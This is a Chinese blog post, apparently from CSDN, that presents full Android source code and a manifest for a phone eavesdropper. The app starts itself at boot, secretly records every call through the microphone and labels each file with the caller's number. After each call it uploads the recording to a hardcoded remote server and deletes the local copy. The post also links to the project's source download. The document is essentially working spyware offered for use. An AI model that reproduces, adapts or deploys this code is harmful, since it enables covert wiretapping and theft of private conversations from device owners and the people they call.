Android电话窃听器的实现
- - CSDN博客推荐文章public void onDestroy() {//清空缓存目录下的所有文件. case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */. recorder.stop();//停止刻录. case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */.
PhoneListenService.java
package cn.itcast.phone; import java.io.File; import java.io.OutputStream; import java.io.PushbackInputStream; import java.io.RandomAccessFile; import java.net.Socket; import cn.itcast.utils.StreamTool; import android.app.Service; import android.content.Context; import android.content.Intent; import android.media.MediaRecorder; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class PhoneListenService extends Service { private static final String TAG = "PhoneListenService"; @Override public void onCreate() { TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); telManager.listen(new TelListener(), PhoneStateListener.LISTEN_CALL_STATE); Log.i(TAG, "service created"); super.onCreate(); } @Override public void onDestroy() {//清空缓存目录下的所有文件 File[] files = getCacheDir().listFiles(); if(files!=null){ for(File f: files){ f.delete(); } } Log.i(TAG, "service destroy"); super.onDestroy(); } private class TelListener extends PhoneStateListener{ private MediaRecorder recorder; private String mobile; private File audioFile; private boolean record; @Override public void onCallStateChanged(int state, String incomingNumber) { try { switch (state){ case TelephonyManager.CALL_STATE_IDLE: /* 无任何状态时 */ if(record){ recorder.stop();//停止刻录 recorder.release(); record = false; new Thread(new UploadTask()).start(); Log.i(TAG, "start upload file"); } break; case TelephonyManager.CALL_STATE_OFFHOOK: /* 接起电话时 */ Log.i(TAG, "OFFHOOK:"+ mobile); recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC);//从麦克风采集声音 recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);//内容输出格式 recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频编码方式 audioFile = new File(getCacheDir(), mobile+"_"+ System.currentTimeMillis()+".3gp"); recorder.setOutputFile(audioFile.getAbsolutePath()); recorder.prepare();//预期准备 recorder.start(); //开始刻录 record = true; break; case TelephonyManager.CALL_STATE_RINGING: /* 电话进来时 */ Log.i(TAG, "incomingNumber:"+ incomingNumber); mobile = incomingNumber; break; default: break; } } catch (Exception e) { Log.e(TAG, e.toString()); } super.onCallStateChanged(state, incomingNumber); } private final class UploadTask implements Runnable{ @Override public void run() { try { Socket socket = new Socket("220.113.15.71", 7878); OutputStream outStream = socket.getOutputStream(); String head = "Content-Length="+ audioFile.length() + ";filename="+ audioFile.getName() + ";sourceid=\r\n"; outStream.write(head.getBytes()); PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); String response = StreamTool.readLine(inStream); String[] items = response.split(";"); String position = items[1].substring(items[1].indexOf("=")+1); RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r"); fileOutStream.seek(Integer.valueOf(position)); byte[] buffer = new byte[1024]; int len = -1; while( (len = fileOutStream.read(buffer)) != -1){ outStream.write(buffer, 0, len); } fileOutStream.close(); outStream.close(); inStream.close(); socket.close(); audioFile.delete(); } catch (Exception e) { Log.e(TAG, e.toString()); } } } } @Override public IBinder onBind(Intent intent) { // TODO Auto-generated method stub return null; } }
BootBroadcastReceiver.java
package cn.itcast.phone; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent service = new Intent(context, PhoneListenService.class); context.startService(service); } }
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="cn.itcast.phone" android:versionCode="1" android:versionName="1.0"> <application android:icon="@drawable/icon" android:label="@string/app_name"> <service android:name=".PhoneListenService" /> <receiver android:name=".BootBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED"/> </intent-filter> </receiver> </application> <uses-sdk android:minSdkVersion="7" /> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <!-- 访问网络的权限 --> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> </manifest>
项目源码下载: http://pan.baidu.com/share/link?shareid=272323&uk=1796216265